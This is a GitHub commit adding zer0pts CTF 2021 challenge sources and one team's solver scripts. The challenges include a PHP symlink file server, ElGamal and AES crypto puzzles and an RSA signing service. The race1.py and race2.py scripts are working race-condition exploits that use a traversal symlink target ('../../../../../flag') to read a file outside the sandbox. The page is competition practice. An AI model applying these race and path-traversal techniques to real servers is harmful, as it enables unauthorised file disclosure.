Skip to content

Commit 26d6ca2

Browse files
committedMar 7, 2021
Participate zer0pts CTF 2021
1 parent 3a6e416 commit 26d6ca2

29 files changed

+1968
-0
lines changed
 
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
FROM php:7.3-apache
2+
3+
RUN chmod 1733 /tmp /var/tmp /dev/shm
4+
5+
ADD challenge/flag.txt /flag
6+
RUN chmod 0444 /flag
7+
8+
ADD challenge/index.php /var/www/html/
9+
ADD challenge/fs.php /var/www/html/
10+
11+
RUN mkdir /var/www/root
12+
13+
RUN chown -R root:www-data /var/www/
14+
15+
RUN chmod 0755 /var/www/html
16+
RUN chmod 0755 /var/www/html/index.php
17+
RUN chmod 0755 /var/www/html/fs.php
18+
19+
RUN chmod 0733 /var/www/root/
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
zer0pts{*****CENSORED*****}
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,178 @@
1+
<?php
2+
/**
3+
* GuestFS is a simple file server.
4+
*
5+
* - Every user has a root directory (user-space)
6+
* - Users can put files in their user-space
7+
*/
8+
class GuestFS {
9+
function __construct($root)
10+
{
11+
if (!is_dir($root)) {
12+
mkdir($root, 0755);
13+
}
14+
$this->root = $root;
15+
}
16+
17+
/**
18+
* Create a new file
19+
*
20+
* @param string $name Filename to create
21+
* @param int $type File type (0:normal/1:symlink)
22+
* @param string $link Path to the real file (when $type=1)
23+
*/
24+
function create($name, $type=0, $target="")
25+
{
26+
$this->validate_filename($name);
27+
28+
if ($type === 0) {
29+
30+
/* Create an empty file */
31+
$fp = @fopen($this->root.$name, "w");
32+
@fwrite($fp, '');
33+
@fclose($fp);
34+
35+
} else {
36+
37+
/* Target file must exist */
38+
$this->assert_file_exists($this->root.$target);
39+
40+
/* Create a symbolic link */
41+
@symlink($target, $this->root.$name);
42+
43+
/* This check ensures $target points to inside user-space */
44+
try {
45+
$this->validate_filepath(@readlink($this->root.$name));
46+
} catch(Exception $e) {
47+
/* Revert changes */
48+
@unlink($this->root.$name);
49+
throw $e;
50+
}
51+
52+
}
53+
}
54+
55+
/**
56+
* Read a file
57+
*
58+
* @param string $name Filename to read
59+
* @param int $offset Offset to read
60+
*/
61+
function read($name, $size=-1, $offset=0)
62+
{
63+
/* Check filename, size and offset */
64+
$this->validate_filename($name);
65+
$this->assert_file_exists($this->root.$name);
66+
$size = $this->validate_bounds($this->root.$name, $size, $offset);
67+
68+
/* This may alleviate heavy disk load. */
69+
usleep(500000);
70+
71+
/* Read contents */
72+
$fp = @fopen($this->root.$name, "r");
73+
@fseek($fp, $offset, SEEK_SET);
74+
$buf = @fread($fp, $size);
75+
@fclose($fp);
76+
77+
return $buf;
78+
}
79+
80+
/**
81+
* Write to a file
82+
*
83+
* @param string $name Filename to write
84+
* @param string $data Contents to write
85+
* @param int $offset Offset to write
86+
*/
87+
function write($name, $data, $offset=0)
88+
{
89+
/* We don't call validate_bounds to allow appending data */
90+
$this->validate_filename($name);
91+
$this->assert_file_exists($this->root.$name);
92+
93+
/* This may alleviate heavy disk load. */
94+
usleep(500000);
95+
96+
/* Write contents */
97+
$fp = @fopen($this->root.$name, "w");
98+
@fseek($fp, $offset, SEEK_SET);
99+
@fwrite($fp, $data);
100+
@fclose($fp);
101+
}
102+
103+
/**
104+
* Delete a file
105+
*
106+
* @param string $name Filename to delete
107+
*/
108+
function delete($name)
109+
{
110+
$this->validate_filename($name);
111+
$this->assert_file_exists($this->root.$name);
112+
113+
@unlink($this->root.$name);
114+
}
115+
116+
/**
117+
* List files in the user space
118+
*/
119+
function listup()
120+
{
121+
$result = array();
122+
123+
$list = array_diff(scandir($this->root), array('..', '.'));
124+
foreach($list as $key => $value) {
125+
if (is_link($this->root.$value)) {
126+
$result[$value] = "Symlink to ".@readlink($this->root.$value);
127+
} else {
128+
$result[$value] = "Regular file";
129+
}
130+
}
131+
132+
return $result;
133+
}
134+
135+
/* Security Functions */
136+
function validate_filepath($path)
137+
{
138+
if (strpos($path, "/") === 0) {
139+
throw new Exception('invalid filepath (absolute path)');
140+
} else if (strpos($path, "..") !== false) {
141+
throw new Exception('invalid filepath (outside user-space)');
142+
}
143+
}
144+
145+
function validate_filename($name)
146+
{
147+
if (preg_match('/[^a-z0-9]/i', $name)) {
148+
throw new Exception('invalid filename');
149+
}
150+
}
151+
152+
function assert_file_exists($name)
153+
{
154+
if (file_exists($name) === false
155+
&& is_link($name) === false) {
156+
throw new Exception('file not found');
157+
}
158+
}
159+
160+
function validate_bounds($path, $size, $offset)
161+
{
162+
$st = @stat($path);
163+
if ($offset < 0) {
164+
throw new Exception('offset must be positive');
165+
}
166+
if ($size < 0) {
167+
$size = $st['size'] - $offset;
168+
if ($size < 0) {
169+
throw new Exception('offset is larger than file size');
170+
}
171+
}
172+
if ($size + $offset > $st['size']) {
173+
throw new Exception('trying to read out of bound');
174+
}
175+
return $size;
176+
}
177+
}
178+
?>
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,160 @@
1+
<?php
2+
session_start();
3+
require_once("fs.php");
4+
5+
$userspace = md5(session_id());
6+
$fs = new GuestFS("../root/$userspace/");
7+
8+
$mode = !empty($_POST['mode']) ? (string)$_POST['mode'] : "*";
9+
$name = !empty($_POST['name']) ? (string)$_POST['name'] : "*";
10+
11+
$error = null;
12+
try {
13+
switch($mode) {
14+
case "create":
15+
$type = isset($_POST['type']) ? 1 : 0;
16+
$target = !empty($_POST['target']) ? (string)$_POST['target'] : "*";
17+
$fs->create($name, $type, $target);
18+
break;
19+
20+
case "read":
21+
$size = !empty($_POST['size']) ? (int)$_POST['size'] : -1;
22+
$offset = !empty($_POST['offset']) ? (int)$_POST['offset'] : 0;
23+
$contents = $fs->read($name, $size, $offset);
24+
break;
25+
26+
case "write":
27+
$data = !empty($_POST['data']) ? (string)$_POST['data'] : "";
28+
$offset = !empty($_POST['offset']) ? (int)$_POST['offset'] : 0;
29+
$fs->write($name, $data, $offset);
30+
break;
31+
32+
case "delete":
33+
$fs->delete($name);
34+
break;
35+
}
36+
} catch(Exception $e) {
37+
$error = $e->getMessage();
38+
}
39+
40+
$listdir = $fs->listup();
41+
?>
42+
<!DOCTYPE html>
43+
<html>
44+
<head>
45+
<meta charset="UTF-8">
46+
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
47+
48+
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css"
49+
integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
50+
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js"
51+
integrity="sha512-bLT0Qm9VnAYZDflyKcBaQ2gg0hSYNQrJ8RilYldYQ1FxQYoCLtUjuuRuZo+fjqhx/qtq/1itJ0C2ejDxltZVFg=="
52+
crossorigin="anonymous"></script>
53+
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js"
54+
integrity="sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7hUibX39j7fakFPskvXusvfa0b4Q"
55+
crossorigin="anonymous"></script>
56+
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js"
57+
integrity="sha384-JZR6Spejh4U02d8jOt6vLEHfe/JQGiRRSQQxSfFWpi1MquVdAyjUar5+76PVCmYl"
58+
crossorigin="anonymous"></script>
59+
60+
<title>Your Workspace</title>
61+
</head>
62+
63+
<body>
64+
<div class="container">
65+
<h2 class="mt-5">Your Workspace</h2>
66+
<?php if (!empty($error)) { ?>
67+
<div class="alert alert-danger alert-dismissible fade show" role="alert">
68+
<strong>ERROR </strong><?= htmlspecialchars($error) ?>
69+
<button type="button" class="close" data-dismiss="alert" aria-label="Close">
70+
<span aria-hidden="true">&times;</span>
71+
</button>
72+
</div>
73+
<?php } ?>
74+
<?php if (isset($contents)) { ?>
75+
<div class="card">
76+
<div class="card-header">Contents of <?= htmlspecialchars($name) ?></div>
77+
<div class="card-body">
78+
<p class="card-text"><?= nl2br(htmlspecialchars($contents)) ?></p>
79+
</div>
80+
</div>
81+
<?php } ?>
82+
83+
<!-- Create -->
84+
<hr>
85+
<h4 class="mt-1">Create a File</h4>
86+
<form method="POST" action="/">
87+
<div class="form-group">
88+
<label for="new-name">Filename</label>
89+
<input id="new-name" type="text" class="form-control" placeholder="filename" name="name" required>
90+
</div>
91+
<div class="form-group">
92+
<div class="form-check">
93+
<input class="form-check-input" type="checkbox" name="type" value="" id="new-type">
94+
<label class="form-check-label" for="new-type">Symbolic Link</label>
95+
</div>
96+
</div>
97+
<div class="form-group" id="new-target-group">
98+
<label for="new-target">Target</label>
99+
<input id="new-target" type="text" class="form-control" placeholder="target path" name="target">
100+
</div>
101+
<input type="hidden" name="mode" value="create">
102+
<button type="submit" class="btn btn-primary">Create File</button>
103+
<script>
104+
$(function() {
105+
$('[id=new-target-group]').hide();
106+
$('[name="type"]:checkbox').change(function() {
107+
$('[id=new-target-group]').fadeToggle();
108+
});
109+
});
110+
</script>
111+
</form>
112+
113+
<!-- File List -->
114+
<hr>
115+
<h4 class="mt-1">Your Files</h4>
116+
<div id="workspace">
117+
<?php $id = 0; ?>
118+
<?php foreach($listdir as $filename => $attribute) { ?>
119+
<div class="card">
120+
<div class="card-header" id="file-<?= $id ?>-head">
121+
<h5 class="mb-0">
122+
<button class="btn btn-link" data-toggle="collapse" aria-expanded="false"
123+
data-target="#file-<?= $id ?>-body" aria-controls="file-<?= $id ?>-body">
124+
<?= htmlspecialchars($filename) ?>
125+
</button>
126+
</h5>
127+
</div>
128+
</div>
129+
<div id="file-<?= $id ?>-body" class="collapse" aria-labelledby="file-<?= $id ?>-head" data-parent="#workspace">
130+
<div class="card-body">
131+
<p>Type: <?= htmlspecialchars($attribute) ?></p>
132+
<form method="POST" action="/">
133+
<input type="hidden" name="name" value="<?= htmlspecialchars($filename); ?>">
134+
<input type="hidden" name="mode" value="read">
135+
<input type="submit" class="btn btn-success" value="Read">
136+
</form>
137+
<hr>
138+
<form method="POST" action="/">
139+
<div class="form-group">
140+
<label for="edit-<?= $id ?>">Contents</label>
141+
<textarea class="form-control" id="edit-<?= $id ?>" name="data" rows="3"></textarea>
142+
</div>
143+
<input type="hidden" name="name" value="<?= htmlspecialchars($filename); ?>">
144+
<input type="hidden" name="mode" value="write">
145+
<input type="submit" class="btn btn-success" value="Write">
146+
</form>
147+
<hr>
148+
<form method="POST" action="/">
149+
<input type="hidden" name="name" value="<?= htmlspecialchars($filename); ?>">
150+
<input type="hidden" name="mode" value="delete">
151+
<input type="submit" class="btn btn-danger" value="Delete">
152+
</form>
153+
</div>
154+
</div>
155+
<?php $id++; ?>
156+
<?php } ?>
157+
</div>
158+
</div>
159+
</body>
160+
</html>
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
version: "3"
2+
services:
3+
guestfs_dist:
4+
build:
5+
context: .
6+
ports:
7+
- 8080:80

‎zer0ptsCTF/2021/guestfs_afr/race1.py

+60
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
import requests
2+
3+
URL = "http://web.ctf.zer0pts.com:8001/"
4+
# URL = "http://localhost:8080/"
5+
6+
cookies = {
7+
"PHPSESSID": "a/b"
8+
}
9+
10+
cnt = 0
11+
12+
sess = requests.Session()
13+
14+
15+
sess.post(
16+
URL,
17+
cookies=cookies,
18+
data={
19+
"mode": "create",
20+
"name": "qwaz",
21+
}
22+
)
23+
24+
sess.post(
25+
URL,
26+
cookies=cookies,
27+
data={
28+
"mode": "create",
29+
"name": "r00timentary",
30+
"type": "1",
31+
"target": "qwaz",
32+
}
33+
)
34+
35+
sess.post(
36+
URL,
37+
cookies=cookies,
38+
data={
39+
"mode": "delete",
40+
"name": "qwaz",
41+
}
42+
)
43+
44+
while True:
45+
r = sess.post(
46+
URL,
47+
cookies=cookies,
48+
data={
49+
"mode": "read",
50+
"name": "r00timentary",
51+
}
52+
)
53+
54+
response = r.text
55+
if "zer0pts" in response:
56+
print(response)
57+
break
58+
59+
print(f"Try {cnt} - {r.status_code}")
60+
cnt += 1

‎zer0ptsCTF/2021/guestfs_afr/race2.py

+27
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
import requests
2+
3+
URL = "http://web.ctf.zer0pts.com:8001/"
4+
# URL = "http://localhost:8080/"
5+
6+
cookies = {
7+
"PHPSESSID": "a/b"
8+
}
9+
10+
cnt = 0
11+
12+
sess = requests.Session()
13+
14+
while True:
15+
r = sess.post(
16+
URL,
17+
cookies=cookies,
18+
data={
19+
"mode": "create",
20+
"name": "qwaz",
21+
"type": "1",
22+
"target": "../../../../../flag",
23+
}
24+
)
25+
26+
print(f"Try {cnt} - {r.status_code}")
27+
cnt += 1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,84 @@
1+
import random
2+
import signal
3+
from flag import flag
4+
from Crypto.Util.number import getStrongPrime, inverse
5+
6+
HANDNAMES = {
7+
1: "Rock",
8+
2: "Scissors",
9+
3: "Paper"
10+
}
11+
12+
def commit(m, key):
13+
(g, p), (x, _) = key
14+
r = random.randint(2, p-1)
15+
c1 = pow(g, r, p)
16+
c2 = m * pow(g, r*x, p) % p
17+
return (c1, c2)
18+
19+
20+
def decrypt(c, key):
21+
c1, c2 = c
22+
_, (x, p)= key
23+
24+
m = c2 * inverse(pow(c1, x, p), p) % p
25+
return m
26+
27+
28+
def keygen(size):
29+
p = getStrongPrime(size)
30+
g = random.randint(2, p-1)
31+
x = random.randint(2, p-1)
32+
33+
return (g, p), (x, p)
34+
35+
36+
signal.alarm(3600)
37+
key = keygen(1024)
38+
(g, p), _ = key
39+
print("[yoshiking]: Hello! Let's play Janken(RPS)")
40+
print("[yoshiking]: Here is g: {}, and p: {}".format(g, p))
41+
42+
round = 0
43+
wins = 0
44+
while True:
45+
round += 1
46+
print("[system]: ROUND {}".format(round))
47+
48+
yoshiking_hand = random.randint(1, 3)
49+
c = commit(yoshiking_hand, key)
50+
print("[yoshiking]: my commitment is={}".format(c))
51+
52+
hand = input("[system]: your hand(1-3): ")
53+
print("")
54+
try:
55+
hand = int(hand)
56+
if not (1 <= hand <= 3):
57+
raise ValueError()
58+
except ValueError:
59+
print("[yoshiking]: Ohhhhhhhhhhhhhhhh no! :(")
60+
exit()
61+
62+
yoshiking_hand = decrypt(c, key)
63+
print("[yoshiking]: My hand is ... {}".format(HANDNAMES[yoshiking_hand]))
64+
print("[yoshiking]: Your hand is ... {}".format(HANDNAMES[hand]))
65+
result = (yoshiking_hand - hand + 3) % 3
66+
if result == 0:
67+
print("[yoshiking]: Draw, draw, draw!!!")
68+
elif result == 1:
69+
print("[yoshiking]: Yo! You win!!! Ho!")
70+
wins += 1
71+
print("[system]: wins: {}".format(wins))
72+
73+
if wins >= 100:
74+
break
75+
elif result == 2:
76+
print("[yoshiking]: Ahahahaha! I'm the winnnnnnner!!!!")
77+
print("[yoshiking]: You, good loser!")
78+
print("[system]: you can check that yoshiking doesn't cheat")
79+
print("[system]: here's the private key: {}".format(key[1][0]))
80+
exit()
81+
82+
print("[yoshiking]: Wow! You are the king of roshambo!")
83+
print("[yoshiking]: suge- flag ageru")
84+
print(flag)
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
from pwn import *
2+
3+
4+
def legendre(x, p):
5+
# 1 or -1
6+
val = pow(x, (p-1) // 2, p)
7+
if val == p-1:
8+
return -1
9+
else:
10+
return val
11+
12+
con = remote("crypto.ctf.zer0pts.com", 10463)
13+
14+
con.recvuntil("Here is g: ")
15+
g = int(con.recvuntil(", and p: ", drop=True))
16+
p = int(con.recvline().strip())
17+
18+
const_syms = [legendre(i, p) for i in range(1, 4)]
19+
if len(set(const_syms)) == 1:
20+
raise ValueError("P value is not supported")
21+
22+
# We hope x to be odd
23+
wins_count = 0
24+
while wins_count < 100:
25+
con.recvuntil("[yoshiking]: my commitment is=(")
26+
c1 = int(con.recvuntil(", ", drop=True))
27+
c2 = int(con.recvuntil(")", drop=True))
28+
29+
lc1 = legendre(c1, p)
30+
lc2 = legendre(c2, p)
31+
if lc1 == lc2:
32+
if const_syms.count(1) == 1:
33+
yoshiking = const_syms.index(1)
34+
else:
35+
yoshiking = (const_syms.index(-1) + 2) % 3
36+
else:
37+
if const_syms.count(-1) == 1:
38+
yoshiking = const_syms.index(-1)
39+
else:
40+
yoshiking = (const_syms.index(1) + 2) % 3
41+
ours = (yoshiking + 2) % 3
42+
con.recvuntil("[system]: your hand(1-3): ")
43+
con.sendline(str(ours + 1))
44+
45+
con.recvuntil("Your hand is ... ")
46+
con.recvline()
47+
msg = con.recvline()
48+
49+
if b"Draw" in msg:
50+
print(f"Draw, current win: {wins_count}")
51+
elif b"You win!!!" in msg:
52+
wins_count += 1
53+
print(f"Win, current win: {wins_count}")
54+
else:
55+
raise ValueError("We shouldn't lose, maybe x is not odd?")
56+
57+
print(con.recvall().decode())
+46
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
import os
2+
import signal
3+
import random
4+
from base64 import b64encode
5+
from Crypto.Util.number import getStrongPrime, bytes_to_long
6+
from Crypto.Util.Padding import pad
7+
from Crypto.Cipher import AES
8+
from flag import flag
9+
10+
p = getStrongPrime(1024)
11+
12+
key = os.urandom(32)
13+
iv = os.urandom(AES.block_size)
14+
aes = AES.new(key=key, mode=AES.MODE_CBC, iv=iv)
15+
c = aes.encrypt(pad(flag, AES.block_size))
16+
17+
key = bytes_to_long(key)
18+
print("Encrypted flag: {}".format(b64encode(iv + c).decode()))
19+
print("p = {}".format(p))
20+
print("key.bit_length() = {}".format(key.bit_length()))
21+
22+
signal.alarm(600)
23+
while key > 0:
24+
r = random.randint(2, p-1)
25+
s = random.randint(2, p-1)
26+
t = random.randint(2, p-1)
27+
print("t = {}".format(t))
28+
29+
a = int(input("a = ")) % p
30+
b = int(input("b = ")) % p
31+
c = int(input("c = ")) % p
32+
d = int(input("d = ")) % p
33+
assert all([a > 1 , b > 1 , c > 1 , d > 1])
34+
assert len(set([a,b,c,d])) == 4
35+
36+
u = pow(a, r, p) * pow(c, s, p) % p
37+
v = pow(b, r, p) * pow(c, s, p) % p
38+
x = u ^ (key & 1)
39+
y = v ^ ((key >> 1) & 1)
40+
z = pow(d, r, p) * pow(t, s, p) % p
41+
42+
key = key >> 2
43+
44+
print("x = {}".format(x))
45+
print("y = {}".format(y))
46+
print("z = {}".format(z))
+84
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,84 @@
1+
from pwn import *
2+
3+
from base64 import b64decode
4+
from Crypto.Util.number import getStrongPrime, bytes_to_long, long_to_bytes
5+
from Crypto.Util.Padding import unpad
6+
from Crypto.Cipher import AES
7+
8+
con = remote("crypto.ctf.zer0pts.com", 10130)
9+
10+
con.recvuntil("Encrypted flag: ")
11+
enc_flag = con.recvline().strip()
12+
13+
con.recvuntil("p = ")
14+
p = int(con.recvline().strip())
15+
16+
con.recvuntil("key.bit_length() = ")
17+
key_bits = int(con.recvline().strip())
18+
19+
a = 1234567
20+
b = pow(a, -1, p)
21+
d = p - 1
22+
23+
key = 0
24+
cursor = 1
25+
26+
def find_next_bit(con):
27+
con.recvuntil("t = ")
28+
t = int(con.recvline().strip())
29+
30+
con.recvuntil("a = ")
31+
con.sendline(str(a))
32+
33+
con.recvuntil("b = ")
34+
con.sendline(str(b))
35+
36+
con.recvuntil("c = ")
37+
con.sendline(str(t))
38+
39+
con.recvuntil("d = ")
40+
con.sendline(str(d))
41+
42+
con.recvuntil("x = ")
43+
x = int(con.recvline().strip())
44+
45+
con.recvuntil("y = ")
46+
y = int(con.recvline().strip())
47+
48+
con.recvuntil("z = ")
49+
z = int(con.recvline().strip())
50+
51+
# pow(d, r, p) is 1 or p-1
52+
# since d = -1 mod p
53+
for drp in (1, p-1):
54+
for (b0, b1) in ((0, 0), (0, 1), (1, 0), (1, 1)):
55+
# Requires Python 3.8+
56+
drp_inv = pow(drp, -1, p)
57+
tsp = (z * drp_inv) % p
58+
tsp_inv = pow(tsp, -1, p)
59+
60+
arp = ((x ^ b0) * tsp_inv) % p
61+
brp = ((y ^ b1) * tsp_inv) % p
62+
63+
if (arp * brp) % p == 1:
64+
return (b0, b1)
65+
66+
raise ValueError("Not Found")
67+
68+
while key_bits > 0:
69+
print(f"Remaining bits: {key_bits}")
70+
b0, b1 = find_next_bit(con)
71+
key += (b1 * 2 + b0) * cursor
72+
cursor <<= 2
73+
key_bits -= 2
74+
75+
# AES decryption with recovered key
76+
enc_flag_bytes = b64decode(enc_flag)
77+
78+
iv = enc_flag_bytes[:AES.block_size]
79+
c = enc_flag_bytes[AES.block_size:]
80+
81+
aes = AES.new(key=long_to_bytes(key), mode=AES.MODE_CBC, iv=iv)
82+
flag = unpad(aes.decrypt(c), AES.block_size)
83+
84+
print(flag)

‎zer0ptsCTF/2021/signme/Makefile

+9
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
.PHONY: all clean
2+
3+
all: table_gen
4+
5+
table_gen: table_gen.cpp
6+
g++ $^ -lgmp -fopenmp -o $@
7+
8+
clean:
9+
rm -f table_gen table

‎zer0ptsCTF/2021/signme/prob/chall

1.1 MB
Binary file not shown.

‎zer0ptsCTF/2021/signme/prob/main.c

+110
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,110 @@
1+
#include <unistd.h>
2+
#include <stdio.h>
3+
#include <stdlib.h>
4+
#include <string.h>
5+
#include "signme.h"
6+
7+
void authenticated(void) {
8+
puts("Thank you for signing my message!");
9+
system("/bin/sh");
10+
}
11+
12+
void fatal(const char *msg) {
13+
fputs(msg, stderr);
14+
exit(1);
15+
}
16+
17+
/**
18+
* Pad message with PKCS1 v1.5
19+
*/
20+
char* pad_pkcs1_v15(char *msg, int s, int n) {
21+
mpz_t r;
22+
char *padded;
23+
int i, rlen = n - s - 3;
24+
25+
/* Initialize */
26+
mpz_init(r);
27+
padded = (char*)malloc(n);
28+
memcpy(&padded[3 + rlen], msg, s);
29+
30+
/* Generate PS */
31+
msg = (char*)realloc(msg, rlen);
32+
for(i = 0; i < rlen; i++) {
33+
do {
34+
mpz_urandomb(r, rstate, 8);
35+
} while(mpz_cmp_ui(r, 0) == 0);
36+
msg[i] = mpz_get_ui(r);
37+
}
38+
39+
/* PKCS thing */
40+
padded[rlen + 2] = '\x00';
41+
padded[0] = '\x00';
42+
padded[1] = '\x02';
43+
memcpy(&padded[2], msg, rlen);
44+
45+
mpz_clear(r);
46+
return padded;
47+
}
48+
49+
/**
50+
* Read message
51+
*/
52+
void get_message(mpz_t m) {
53+
char *padded, *msg;
54+
size_t s;
55+
56+
/* Read message */
57+
msg = (char*)malloc(SECURITY_PARAMETER / 8);
58+
59+
printf("Message: ");
60+
if ((s = read(0, msg, SECURITY_PARAMETER / 8)) <= 0)
61+
fatal("I/O Error\n");
62+
if (msg[s-1] == '\n') msg[--s] = '\0';
63+
64+
/* Pad message */
65+
padded = pad_pkcs1_v15(msg, s, SECURITY_PARAMETER / 8);
66+
67+
/* Bytes to integer */
68+
mpz_import(m, 1, 1, SECURITY_PARAMETER / 8, 1, 0, padded);
69+
free(padded);
70+
free(msg);
71+
}
72+
73+
/**
74+
* Entry Point
75+
*/
76+
int main(void) {
77+
mpz_t m, s;
78+
PrivateKey priv;
79+
PublicKey pub;
80+
81+
setvbuf(stdin, NULL, _IONBF, 0);
82+
setvbuf(stdout, NULL, _IONBF, 0);
83+
alarm(60);
84+
85+
/* Step 0. Key generation */
86+
generate_keypair(&pub, &priv);
87+
mpz_inits(s, m, NULL);
88+
89+
/* Step 1. I'll sign your message */
90+
get_message(m);
91+
gmp_printf("m = %Zx\n", m);
92+
generate_signature(s, m, &priv);
93+
gmp_printf("pubkey = (%Zx, %Zx)\n", pub.n, pub.e);
94+
gmp_printf("signature = %Zx\n", s);
95+
96+
/* Step 2. You'll sign my message */
97+
mpz_urandomb(m, rstate, SECURITY_PARAMETER);
98+
gmp_printf("Sign this message: %Zx\n", m);
99+
printf("Signature: ");
100+
if (gmp_scanf("%Zx", s) != 1) fatal("I/O Error\n");
101+
102+
/* Step 3. I'll validate your signature */
103+
if (validate_signature(s, m, &pub) == 0) {
104+
authenticated();
105+
} else {
106+
puts("Nope.");
107+
}
108+
109+
return 0;
110+
}

‎zer0ptsCTF/2021/signme/prob/signme.c

+118
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,118 @@
1+
#include <stdio.h>
2+
#include <stdlib.h>
3+
#include <sys/time.h>
4+
#include "signme.h"
5+
6+
gmp_randstate_t rstate;
7+
8+
/**
9+
* Generate a random n-bit prime
10+
* @param mpz_t p Prime integer
11+
* @param uint32_t n Bit length of prime to generate
12+
*/
13+
void _get_prime(mpz_t p, uint32_t n) {
14+
mpz_t r;
15+
mpz_init(r);
16+
do {
17+
mpz_urandomb(r, rstate, n);
18+
mpz_setbit(r, n - 1);
19+
mpz_nextprime(p, r);
20+
} while(mpz_sizeinbase(p, 2) >= n + 1);
21+
mpz_clear(r);
22+
}
23+
24+
/**
25+
* Generate a pair of keys for signature
26+
* @param PublicKey pub Pointer to the public key instance
27+
* @param PrivateKey priv Pointer to the private key instance
28+
*/
29+
void generate_keypair(PublicKey *pub, PrivateKey *priv) {
30+
mpz_t phi, pm, qm;
31+
mpz_inits(phi, pm, qm, NULL);
32+
33+
/* Generate private key*/
34+
mpz_inits(priv->p, priv->q, priv->n, priv->e, priv->d, NULL);
35+
mpz_set_ui(priv->e, 65537UL);
36+
_get_prime(priv->p, SECURITY_PARAMETER);
37+
_get_prime(priv->q, SECURITY_PARAMETER);
38+
mpz_mul(priv->n, priv->p, priv->q);
39+
mpz_sub_ui(pm, priv->p, 1UL);
40+
mpz_sub_ui(qm, priv->q, 1UL);
41+
mpz_mul(phi, pm, qm);
42+
mpz_invert(priv->d, priv->e, phi);
43+
44+
/* Generate public key */
45+
mpz_init_set(pub->e, priv->e);
46+
mpz_init_set(pub->n, priv->n);
47+
48+
/* Cleanup */
49+
mpz_clears(phi, pm, qm, NULL);
50+
}
51+
52+
/**
53+
* Sign a message
54+
* @param mpz_t sign Signature to be generated
55+
* @param mpz_t m Message
56+
* @param PrivateKey priv Pointer to an initialized private key
57+
*/
58+
void generate_signature(mpz_t sign, mpz_t m, PrivateKey *priv) {
59+
mpz_t sp, sq, qi;
60+
mpz_init2(sp, SECURITY_PARAMETER);
61+
mpz_init2(sq, SECURITY_PARAMETER);
62+
mpz_init2(qi, SECURITY_PARAMETER);
63+
64+
mpz_powm(sp, m, priv->d, priv->p);
65+
mpz_powm(sq, m, priv->d, priv->q);
66+
mpz_invert(qi, priv->q, priv->p);
67+
mpz_sub(sign, sp, sq);
68+
mpz_mul(sign, sign, qi);
69+
mpz_mod(sign, sign, priv->p);
70+
mpz_mul(sign, sign, priv->q);
71+
mpz_add(sign, sign, sq);
72+
mpz_mod(sign, sign, priv->n);
73+
74+
mpz_clears(sp, sq, NULL);
75+
}
76+
77+
/**
78+
* Validate a signature
79+
* @param mpz_t sign Signature of messasge
80+
* @param mpz_t m Message to validate
81+
* @param PublicKey pub Pointer to public key
82+
*/
83+
int validate_signature(mpz_t sign, mpz_t m, PublicKey *pub) {
84+
int r;
85+
mpz_t w;
86+
87+
mpz_init(w);
88+
mpz_powm(w, sign, pub->e, pub->n);
89+
r = mpz_cmp(w, m);
90+
91+
mpz_clear(w);
92+
return r;
93+
}
94+
95+
/**
96+
* Initialize random state (constructor)
97+
*/
98+
__attribute__((constructor))
99+
void _signme_setup(void) {
100+
struct timeval tv;
101+
struct timezone tz;
102+
103+
if (gettimeofday(&tv, &tz)) {
104+
perror("gettimeofday");
105+
exit(1);
106+
}
107+
108+
gmp_randinit_lc_2exp_size(rstate, 16);
109+
gmp_randseed_ui(rstate, tv.tv_sec * 1000000 + tv.tv_usec);
110+
}
111+
/**
112+
* Cleanup random state (destructor)
113+
*/
114+
__attribute__((destructor))
115+
void _signme_cleanup(void) {
116+
gmp_randclear(rstate);
117+
}
118+

‎zer0ptsCTF/2021/signme/prob/signme.h

+29
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
#ifndef SIGNME_H
2+
#define SIGNME_H
3+
4+
#include <cstdint>
5+
#include <gmp.h>
6+
#include <gmpxx.h>
7+
8+
#define SECURITY_PARAMETER (1024)
9+
10+
extern gmp_randstate_t rstate;
11+
12+
typedef struct {
13+
mpz_t p;
14+
mpz_t q;
15+
mpz_t n;
16+
mpz_t e;
17+
mpz_t d;
18+
} PrivateKey;
19+
20+
typedef struct {
21+
mpz_t e;
22+
mpz_t n;
23+
} PublicKey;
24+
25+
void generate_keypair(PublicKey*, PrivateKey*);
26+
void generate_signature(mpz_t, mpz_t, PrivateKey*);
27+
int validate_signature(mpz_t, mpz_t, PublicKey*);
28+
29+
#endif

‎zer0ptsCTF/2021/signme/solver.py

+50
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
from pwn import *
2+
3+
# m -> { seed, N, sign }
4+
table = {}
5+
6+
with open("table", "rb") as f:
7+
for line in f:
8+
seed, n, m, sign = line.split()
9+
seed = int(seed)
10+
if m not in table:
11+
table[m] = []
12+
13+
table[m].append({
14+
"seed": seed,
15+
"n": n,
16+
"sign": sign,
17+
})
18+
19+
cnt = 0
20+
while True:
21+
cnt += 1
22+
print(f"Try {cnt}")
23+
24+
con = remote("crypto.ctf.zer0pts.com", 10298)
25+
26+
# No padding for deterministic random state
27+
con.recvuntil("Message: ")
28+
con.sendline("A" * 125)
29+
30+
con.recvuntil("pubkey = (")
31+
